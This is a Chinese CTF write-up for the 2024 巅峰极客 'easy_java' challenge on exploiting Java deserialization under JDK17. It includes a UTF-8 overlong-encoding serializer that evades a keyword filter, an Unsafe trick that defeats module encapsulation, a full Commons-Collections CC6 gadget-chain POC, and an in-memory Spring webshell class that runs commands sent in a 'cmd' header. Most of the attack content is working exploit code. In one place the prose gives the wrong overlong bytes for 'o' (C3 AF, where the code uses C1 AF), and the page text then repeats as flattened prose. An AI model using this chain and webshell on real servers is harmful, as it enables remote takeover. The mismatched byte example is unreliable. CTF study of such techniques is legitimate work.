2024 巅峰极客 easy_java学习jdk17下打内存马方式
字数 1117 2025-08-24 07:48:10

JDK17下利用Commons-Beanutils打内存马技术分析

环境背景

  • 目标环境:黑盒环境,仅知使用JDK17和Commons-Beanutils(cb)依赖
  • 关键依赖:Commons-Beanutils 1.9+自带Commons-Collections 3.2.1(cc)
  • 限制条件
    • 过滤了org.apache字样
    • 题目不出网
    • 需要通过defineClass加载字节码打内存马

UTF-8 Overlong Encoding绕过技术

绕过原理

在Java序列化过程中,类名会被编码为UTF-8字节流。UTF-8是一种可变长度编码,可以使用1-4个字节表示一个字符,同一字符可以用不同字节组合表示。

编码规则

  • 1字节:0xxxxxxx
  • 2字节:110xxxxx 10xxxxxx
  • 3字节:1110xxxx 10xxxxxx 10xxxxxx
  • 4字节:11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

绕过示例

  • 原始类名:org.example.Evil6F 72 67 2E 65 78 61 6D 70 6C 65 2E 45 76 69 6C
  • 替换'o'(0x6F)为0xC3 0xAF → C3 AF 72 67 2E 65 78 61 6D 70 6C 65 2E 45 76 69 6C

实现代码

public class UTF8bypass extends ObjectOutputStream {
    private static HashMap<Character, int[]> map;
    static {
        map = new HashMap<>();
        map.put('.', new int[]{0xc0, 0xae});
        map.put(';', new int[]{0xc0, 0xbb});
        // ... 其他字符映射
        map.put('o', new int[]{0xc1, 0xaf}); // 0x6f
        // ... 其他字符映射
    }

    @Override
    protected void writeClassDescriptor(ObjectStreamClass desc) throws IOException {
        String name = desc.getName();
        writeShort(name.length() * 2);
        for (int i = 0; i < name.length(); i++) {
            char s = name.charAt(i);
            write(map.get(s)[0]);
            write(map.get(s)[1]);
        }
        // ... 其他序列化处理
    }
}

使用方法

// 原始方法
serilize(hashMap); 

// 绕过方法
UTF8bypass utf8bypass = new UTF8bypass(new FileOutputStream("1234.bin"));
utf8bypass.writeObject(hashMap);

JDK17下的反射限制与绕过

JDK17模块机制限制

JDK17启动了强封装,java.*的非公共字段和方法无法通过反射获取。关键限制在setAccessible方法中,会检查调用者类和目标类是否在同一个module。

绕过模块机制

利用Unsafe类修改当前类的module属性,使其与java.*下类的module属性一致:

Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
Class currentClass = Main.class;
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.putObject(currentClass, offset, baseModule);

字节码加载技术

MethodHandles.Lookup加载字节码

JDK17中不能使用Temp类加载字节码,改用MethodHandles.Lookup

MethodHandles.Lookup lookup = MethodHandles.lookup();
Class<?> clazz = lookup.defineClass(bytes);

限制条件

  • 需要PACKAGE访问权限
  • 恶意类必须与调用者在同一个包下

完整POC示例

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;

public class EXP {
    public static void main(String[] args) throws Exception {
        patchModule(EXP.class.getName());
        patchModule(UTF8OverlongObjectOutputStream.class.getName());
        byte[] memcode = Files.readAllBytes(Paths.get("/path/to/Evil.class"));
        
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(MethodHandles.class),
            new InvokerTransformer("getDeclaredMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"lookup", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("defineClass", 
                new Class[]{byte[].class}, 
                new Object[]{memcode}),
            new InstantiateTransformer(new Class[0], new Object[0]),
            new ConstantTransformer(1)
        };
        
        // CC6链构造
        Map innerMap = new HashMap();
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        innerMap.remove("keykey");
        
        setFieldValue(transformerChain, "iTransformers", transformers);
        
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        UTF8OverlongObjectOutputStream oos = new UTF8OverlongObjectOutputStream(baos);
        oos.writeObject(expMap);
        oos.close();
        
        System.out.print(Base64.getEncoder().encodeToString(baos.toByteArray()));
    }
}

内存马实现

Evil类示例

package org.apache.commons.collections.functors;

public class Evil {
    public Evil() throws Exception {
        // 绕过模块限制
        Class unsafeClass = Class.forName("sun.misc.Unsafe");
        Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
        unsafeField.setAccessible(true);
        Unsafe unsafe = (Unsafe) unsafeField.get(null);
        Object module = Class.class.getDeclaredMethod("getModule").invoke(Object.class);
        Class cls = Evil.class;
        long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.getAndSetObject(cls, offset, module);
        
        this.run();
    }
    
    public void run() {
        // 获取请求和响应对象
        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        Object requestAttributes = invokeMethod(
            classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), 
            "getRequestAttributes");
        Object request = invokeMethod(requestAttributes, "getRequest");
        Object response = invokeMethod(requestAttributes, "getResponse");
        
        // 执行命令
        String cmd = (String)request.getClass().getMethod("getHeader", String.class)
            .invoke(request, "cmd");
        if (cmd != null && !cmd.isEmpty()) {
            Writer writer = (Writer)invokeMethod(response, "getWriter");
            writer.write(exec(cmd));
            writer.flush();
            writer.close();
        }
    }
    
    private String exec(String cmd) {
        // 命令执行逻辑
    }
}

技术要点总结

  1. UTF-8 Overlong Encoding绕过:利用UTF-8编码特性绕过关键字过滤
  2. JDK17反射限制绕过:使用Unsafe修改module属性
  3. 字节码加载:MethodHandles.Lookup代替传统defineClass
  4. 内存马注入:结合CC6链和字节码加载实现无文件落地攻击
  5. 不出网环境:通过defineClass直接加载恶意类到内存

参考链接

JDK17下利用Commons-Beanutils打内存马技术分析 环境背景 目标环境 :黑盒环境,仅知使用JDK17和Commons-Beanutils(cb)依赖 关键依赖 :Commons-Beanutils 1.9+自带Commons-Collections 3.2.1(cc) 限制条件 : 过滤了 org.apache 字样 题目不出网 需要通过defineClass加载字节码打内存马 UTF-8 Overlong Encoding绕过技术 绕过原理 在Java序列化过程中,类名会被编码为UTF-8字节流。UTF-8是一种可变长度编码,可以使用1-4个字节表示一个字符,同一字符可以用不同字节组合表示。 编码规则 : 1字节: 0xxxxxxx 2字节: 110xxxxx 10xxxxxx 3字节: 1110xxxx 10xxxxxx 10xxxxxx 4字节: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx 绕过示例 : 原始类名: org.example.Evil → 6F 72 67 2E 65 78 61 6D 70 6C 65 2E 45 76 69 6C 替换'o'(0x6F)为0xC3 0xAF → C3 AF 72 67 2E 65 78 61 6D 70 6C 65 2E 45 76 69 6C 实现代码 使用方法 JDK17下的反射限制与绕过 JDK17模块机制限制 JDK17启动了强封装, java.* 的非公共字段和方法无法通过反射获取。关键限制在 setAccessible 方法中,会检查调用者类和目标类是否在同一个module。 绕过模块机制 利用 Unsafe 类修改当前类的module属性,使其与 java.* 下类的module属性一致: 字节码加载技术 MethodHandles.Lookup加载字节码 JDK17中不能使用 Temp 类加载字节码,改用 MethodHandles.Lookup : 限制条件 : 需要 PACKAGE 访问权限 恶意类必须与调用者在同一个包下 完整POC示例 内存马实现 Evil类示例 技术要点总结 UTF-8 Overlong Encoding绕过 :利用UTF-8编码特性绕过关键字过滤 JDK17反射限制绕过 :使用Unsafe修改module属性 字节码加载 :MethodHandles.Lookup代替传统defineClass 内存马注入 :结合CC6链和字节码加载实现无文件落地攻击 不出网环境 :通过defineClass直接加载恶意类到内存 参考链接 JDK17反射限制绕过